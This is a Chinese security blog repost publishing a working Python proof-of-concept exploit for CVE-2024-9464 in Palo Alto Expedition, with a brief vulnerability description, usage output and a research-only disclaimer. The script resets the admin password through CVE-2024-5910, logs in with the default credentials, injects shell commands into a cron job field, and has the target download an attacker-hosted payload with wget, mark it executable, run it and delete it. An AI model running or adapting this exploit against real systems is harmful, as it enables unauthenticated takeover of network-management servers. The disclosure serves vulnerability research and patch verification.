【POC】CVE-2024-9464

admin 2024年12月17日11:42:14评论52 views字数 4221阅读14分4秒阅读模式
CVE-2024-9464 的概念利用证明。

在易受攻击的设备上利用 CVE-2024-9464 的概念验证。此脚本脚本 CVE-2024-5910 的管理员重置,以实现“未经身份验证”的任意命令执行。

【POC】CVE-2024-9464

01—漏洞描述

Palo Alto Expedition 是 Palo Alto Networks 提供的一款迁移工具,主要目的是帮助用户减少从支持的供应商迁移配置到 Palo Alto Networks 所需的时间和努力。2024年10月,互联网上披露 Palo Alto Expedition 后台命令注入漏洞(CVE-2024-9464),攻击者在登陆后可构造恶意请求执行命令,控制服务器。

参考链接 https://security.paloaltonetworks.com/PAN-SA-2024-0010
02—概念验证脚本

CVE-2024-9464.py

#!/usr/bin/python3
import argparse
import requests
import urllib3
import random
import string
import sys
import socketserver
import time
import threading
from http.server import SimpleHTTPRequestHandler
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

def _start_web_server(listen_ip, listen_port):
    try:
        httpd = socketserver.TCPServer((listen_ip, listen_port), SimpleHTTPRequestHandler)
        httpd.timeout = 60
        httpd.serve_forever()
    except Exception as e:
        sys.stderr.write(f'[!] Error starting web server: {e}\n')

def serve():
    print(f'[*] Starting web server at {args.listen_ip}:{args.listen_port}')
    ft = threading.Thread(target=_start_web_server, args=(args.listen_ip,args.listen_port), daemon=True)
    ft.start()
    time.sleep(3)

def reset_admin_password(url: str):
    print(f'[*] Sending reset request to server...')
    r = requests.post(f'{url}/OS/startup/restore/restoreAdmin.php', verify=False, timeout=30)
    if r.status_code == 200:
        print(f'[*] Admin password reset successfully')
    else:
        print(f'[-] Unexpected response during reset: {r.status_code}:{r.text}')
        sys.exit(1)


def get_session_key(url: str):
    print(f'[*] Retrieving session key...')
    session = requests.Session()
    data = {'action': 'get',
            'type': 'login_users',
            'user': 'admin',
            'password': 'paloalto',
            }
    r = session.post(f'{url}/bin/Auth.php', data=data, verify=False, timeout=30)
    if r.status_code == 200:
        session_key = r.headers.get('Set-Cookie')
        if 'PHPSESSID' in session_key:
            print(f'[*] Session key successfully retrieved')
            csrf_token = r.json().get('csrfToken')
            session.headers['Csrftoken'] = csrf_token
            return session

    print(f'[-] Unexpected response during authentication: {r.status_code}:{r.text}')
    sys.exit(1)


def add_blank_cronjob(url: str, session):
    print(f'[*] Adding empty cronjob database entry...')
    data = {'action': 'add',
            'type': 'new_cronjob',
            'project': 'pandb',
            }
    r = session.post(f'{url}/bin/CronJobs.php', data=data, verify=False, timeout=30)
    if r.status_code == 200 and r.json().get('success', False):
        print(f'[*] Successfully added cronjob database entry')
        return

    print(f'[-] Unexpected response adding cronjob: {r.status_code}:{r.text}')
    sys.exit(1)


def edit_cronjob(url, session, command):
    print(f'[*] Inserting: {command}')
    print(f'[*] Inserting malicious command into cronjob database entry...')
    data = {'action': 'set',
            'type': 'cron_jobs',
            'project': 'pandb',
            'name': 'test',
            'cron_id': '1',
            'recurrence': 'Daily',
            'start_time': f'"; {command} ;',
            }
    try:
        r = session.post(f'{url}/bin/CronJobs.php', data=data, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully edited cronjob - check for blind execution!')
            return

        print(f'[-] Unexpected response editing cronjob: {r.status_code}:{r.text}')
        sys.exit(1)
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    parser.add_argument('-li', '--listen_ip', help='local IP to bind to')
    parser.add_argument('-lp', '--listen_port', required=False, help='local HTTP port to bind to, for blind RCE mode', default=8000, type=int)
    args = parser.parse_args()

    serve()
    reset_admin_password(args.url)
    session = get_session_key(args.url)
    add_blank_cronjob(args.url, session)
    filename = random.choice(string.ascii_letters)
    cmd_wrapper = [
        f'wget {args.listen_ip}$(echo $PATH|cut -c16){args.listen_port}/{args.cmd_file} -O /tmp/{filename}',
        f'chmod 777 /tmp/{filename}',
        f'/tmp/{filename}',
        f'rm /tmp/{filename}'
    ]
    for cmd in cmd_wrapper:
        edit_cronjob(args.url, session, cmd)
        time.sleep(1)
03—用法

% python3 CVE-2024-9464.py -husage: CVE-2024-9464.py [-h] -u URL -c CMD_FILE [-li LISTEN_IP] [-lp LISTEN_PORT]options:  -h, --help            show this help message and exit  -u URL, --url URL     The URL of the target  -c CMD_FILE, --cmd_file CMD_FILE                        The commands to execute blind  -li LISTEN_IP, --listen_ip LISTEN_IP                        local IP to bind to  -lp LISTEN_PORT, --listen_port LISTEN_PORT                        local HTTP port to bind to, for blind RCE mode

 

 

原文始发于微信公众号(sec0nd安全):【POC】CVE-2024-9464

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日11:42:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【POC】CVE-2024-9464https://cn-sec.com/archives/3516327.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息